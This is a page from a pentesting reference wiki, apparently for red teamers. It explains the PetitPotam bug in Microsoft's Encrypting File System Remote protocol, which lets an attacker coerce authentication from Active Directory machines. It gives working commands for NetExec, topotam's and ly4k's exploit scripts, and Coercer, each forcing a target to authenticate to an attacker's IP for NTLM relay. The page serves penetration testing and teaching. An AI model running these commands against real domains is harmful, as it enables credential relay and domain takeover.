Infiltr8: The Red-Book
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  1. Active Directory Pentesting
  2. Movement
  3. MITM and coerced auths

MS-EFSR abuse (PetitPotam)

Last updated 1 year ago

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Theory

MS-EFSR is Microsoft's Encrypting File System Remote protocol. It performs maintenance and management operations on encrypted data that is stored remotely and accessed over a network () and is available as an RPC interface. That interface is available through the \pipe\efsrpc, \pipe\lsarpc, \pipe\samr, \pipe\lsass and \pipe\netlogon SMB named pipes.

In 2019, Google's Project Zero research team found and reported a bug on MS-EFSR that could be combined with a leading to a Local Privilege Elevation. An insufficient path check in MS-EFSR's EfsRpcOpenFileRaw method allowed attackers to force the SYSTEM account into creating an executable file of the attacker's choosing, hence providing the attacker with local admin rights.

While the wider implications of this bug, AD-DS-wise, were only suspected, in 2021, used that bug to remotely coerce domain-joined machine's authentication. The coerced authentications are made over SMB. But MS-EFSR abuse can be combined with to elicit incoming authentications made over HTTP which heightens capabilities.

The following MS-EFSR's methods were detected vulnerable

  • EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv ()

  • EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv, EfsRpcQueryUsersOnFile, EfsRpcQueryRecoveryAgents, EfsRpcRemoveUsersFromFile, EfsRpcAddUsersToFile, EfsRpcFileKeyInfo, EfsRpcDuplicateEncryptionInfoFile, EfsRpcAddUsersToFileEx (unpatched at the time of this article update, 29th December 2021)

Practice

(Python) can be used to check if the target is vulnerable to PetitPotam.

netexec smb <TARGET> -u <USER> -p <PASSWORD> -M petitpotam -o PIPE=netlogon

Topotam's exploit

An authentication can be forced with the original author's proof-of-concepts dubbed "" (available in C and Python) by using a valid AD account's credentials.

Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP

ly4k's exploit

An alternative Python implementation () can be used to exploit other unpatched methods that the original implementation doesn't feature.

# With $TARGET as [[domain/]username[:password]@]<targetName or address>
petitpotam.py -method AddUsersToFile -pipe lsarpc $TARGET '\\$ATTACKER_IP\share\foo'

Coercer

Yet another alternative is to use the tool (python) as follow.

# Coerce
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN --filter-protocol-name MS-EFSR -l $ATTACKER_IP -t $TARGET_IP

# Coerce a specific method
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN --filter-method-name EfsRpcFileKeyInfo -l $ATTACKER_IP -t $TARGET_IP

Nota bene: coerced NTLM authentications made over SMB restrict the possibilities of . For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

Some tests conducted in lab environments showed that, unlike the , a NULL session could potentially be used to trigger that bug (if allowed by the target). This has only been verified to be working on on Windows Server 2016 and Windows Server 2019 Domain Controllers.

Petitpotam.py $ATTACKER_IP $TARGET_IP

For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY) can be required, especially if the target is patched against MS-EFSR abuse (which doesn't completely mitigate the vulnerability). In both tools mentioned above, this is enabled by default only on topotam's one.

Resources

docs.microsoft.com
NTLM Reflection attack
Lionel GILLES
WebClient abuse
NTLM relay
partially patched by Microsoft
NetExec
PetitPotam
https://github.com/ly4k/PetitPotam
Coercer
NTLM relay
MS-RPRN abuse (printbug)
LogoMicrosoft Windows 10.0.17134.648 - HTTP -> SMB NTLM Reflection Leads to Privilege ElevationExploit Database
LogoGitHub - topotam/PetitPotam: PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.GitHub
LogoGitHub - ly4k/PetitPotam: Python implementation for PetitPotamGitHub
LogoRelaying NTLM authentication over RPCCompass Security Blog
Understand RPC better